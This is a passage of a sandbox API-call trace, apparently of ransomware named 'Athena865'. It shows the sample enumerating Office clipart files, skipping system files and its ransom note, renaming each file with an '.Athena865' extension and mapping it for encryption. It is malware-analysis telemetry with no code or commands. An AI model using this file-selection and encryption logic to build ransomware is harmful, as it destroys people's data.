0x54ec38 [0121.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.731] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.731] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b00, lpName=0x0) returned 0x154 [0121.732] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5b00) returned 0x100000 [0121.734] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.735] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.735] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.735] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.736] CloseHandle (hObject=0x154) returned 1 [0121.736] CloseHandle (hObject=0x17c) returned 1 [0121.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.736] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2=".") returned 1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="..") returned 1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="windows") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="bootmgr") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="temp") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="pagefile.sys") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="boot") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="ids.txt") returned -1 [0121.736] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="ntuser.dat") returned -1 [0121.737] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="perflogs") returned -1 [0121.737] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="MSBuild") returned -1 [0121.737] lstrlenW (lpString="BD00173_.WMF") returned 12 [0121.737] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD00173_.WMF" | out: lpString1="BD00173_.WMF") returned="BD00173_.WMF" [0121.737] lstrlenW (lpString="BD00173_.WMF") returned 12 [0121.737] lstrlenW (lpString="Athena865") returned 9 [0121.737] lstrcmpiW (lpString1="0173_.WMF", lpString2="Athena865") returned -1 [0121.737] lstrlenW (lpString=".dll") returned 4 [0121.737] lstrcmpiW (lpString1="BD00173_.WMF", lpString2=".dll") returned 1 [0121.737] lstrlenW (lpString=".lnk") returned 4 [0121.737] lstrcmpiW (lpString1="BD00173_.WMF", lpString2=".lnk") returned 1 [0121.737] lstrlenW (lpString=".ini") returned 4 [0121.737] lstrcmpiW (lpString1="BD00173_.WMF", lpString2=".ini") returned 1 [0121.737] lstrlenW (lpString=".sys") returned 4 [0121.737] lstrcmpiW (lpString1="BD00173_.WMF", lpString2=".sys") returned 1 [0121.737] lstrlenW (lpString="BD00173_.WMF") returned 12 [0121.737] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.Athena865") returned 73 [0121.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.739] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16180) returned 1 [0121.739] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.740] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.740] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.740] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.740] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4240, lpName=0x0) returned 0x154 [0121.743] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4240) returned 0x100000 [0121.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.746] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.746] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.747] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.747] CloseHandle (hObject=0x154) returned 1 [0121.747] CloseHandle (hObject=0x17c) returned 1 [0121.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0121.747] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.747] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.747] lstrcmpiW (lpString1="BD05119_.WMF", lpString2=".") returned 1 [0121.747] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="..") returned 1 [0121.747] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="windows") returned -1 [0121.747] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="bootmgr") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="temp") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="pagefile.sys") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="boot") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="ids.txt") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="ntuser.dat") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="perflogs") returned -1 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="MSBuild") returned -1 [0121.748] lstrlenW (lpString="BD05119_.WMF") returned 12 [0121.748] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD05119_.WMF" | out: lpString1="BD05119_.WMF") returned="BD05119_.WMF" [0121.748] lstrlenW (lpString="BD05119_.WMF") returned 12 [0121.748] lstrlenW (lpString="Athena865") returned 9 [0121.748] lstrcmpiW (lpString1="5119_.WMF", lpString2="Athena865") returned -1 [0121.748] lstrlenW (lpString=".dll") returned 4 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2=".dll") returned 1 [0121.748] lstrlenW (lpString=".lnk") returned 4 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2=".lnk") returned 1 [0121.748] lstrlenW (lpString=".ini") returned 4 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2=".ini") returned 1 [0121.748] lstrlenW (lpString=".sys") returned 4 [0121.748] lstrcmpiW (lpString1="BD05119_.WMF", lpString2=".sys") returned 1 [0121.748] lstrlenW (lpString="BD05119_.WMF") returned 12 [0121.748] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.Athena865") returned 73 [0121.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.749] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17236) returned 1 [0121.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.750] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.750] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.750] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.751] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4660, lpName=0x0) returned 0x154 [0121.752] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4660) returned 0x100000 [0121.753] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.754] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.754] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.755] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.755] CloseHandle (hObject=0x154) returned 1 [0121.755] CloseHandle (hObject=0x17c) returned 1 [0121.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.755] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0121.755] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.755] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2=".") returned 1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="..") returned 1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="windows") returned -1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="bootmgr") returned -1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="temp") returned -1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="pagefile.sys") returned -1 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="boot") returned -1 [0121.756] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD06102_.WMF" | out: lpString1="BD06102_.WMF") returned="BD06102_.WMF" [0121.756] lstrlenW (lpString="BD06102_.WMF") returned 12 [0121.756] lstrlenW (lpString="Athena865") returned 9 [0121.756] lstrcmpiW (lpString1="6102_.WMF", lpString2="Athena865") returned -1 [0121.756] lstrlenW (lpString=".dll") returned 4 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2=".dll") returned 1 [0121.756] lstrlenW (lpString=".lnk") returned 4 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2=".lnk") returned 1 [0121.756] lstrlenW (lpString=".ini") returned 4 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2=".ini") returned 1 [0121.756] lstrlenW (lpString=".sys") returned 4 [0121.756] lstrcmpiW (lpString1="BD06102_.WMF", lpString2=".sys") returned 1 [0121.756] lstrlenW (lpString="BD06102_.WMF") returned 12 [0121.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.Athena865") returned 73 [0121.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.757] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16112) returned 1 [0121.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.758] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.758] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.758] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.759] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41f0, lpName=0x0) returned 0x154 [0121.760] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41f0) returned 0x100000 [0121.762] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.763] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.763] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.764] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.764] CloseHandle (hObject=0x154) returned 1 [0121.764] CloseHandle (hObject=0x17c) returned 1 [0121.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.764] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0121.764] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.764] lstrcmpiW (lpString1="BD06200_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.764] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD06200_.WMF" | out: lpString1="BD06200_.WMF") returned="BD06200_.WMF" [0121.764] lstrlenW (lpString="BD06200_.WMF") returned 12 [0121.765] lstrlenW (lpString="Athena865") returned 9 [0121.765] lstrcmpiW (lpString1="6200_.WMF", lpString2="Athena865") returned -1 [0121.765] lstrlenW (lpString=".dll") returned 4 [0121.765] lstrcmpiW (lpString1="BD06200_.WMF", lpString2=".dll") returned 1 [0121.765] lstrlenW (lpString=".lnk") returned 4 [0121.765] lstrcmpiW (lpString1="BD06200_.WMF", lpString2=".lnk") returned 1 [0121.765] lstrlenW (lpString=".ini") returned 4 [0121.765] lstrcmpiW (lpString1="BD06200_.WMF", lpString2=".ini") returned 1 [0121.765] lstrlenW (lpString=".sys") returned 4 [0121.765] lstrcmpiW (lpString1="BD06200_.WMF", lpString2=".sys") returned 1 [0121.765] lstrlenW (lpString="BD06200_.WMF") returned 12 [0121.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.Athena865") returned 73 [0121.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.766] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16676) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.767] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.767] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.768] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.768] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4430, lpName=0x0) returned 0x154 [0121.771] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4430) returned 0x100000 [0121.772] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.773] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.773] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 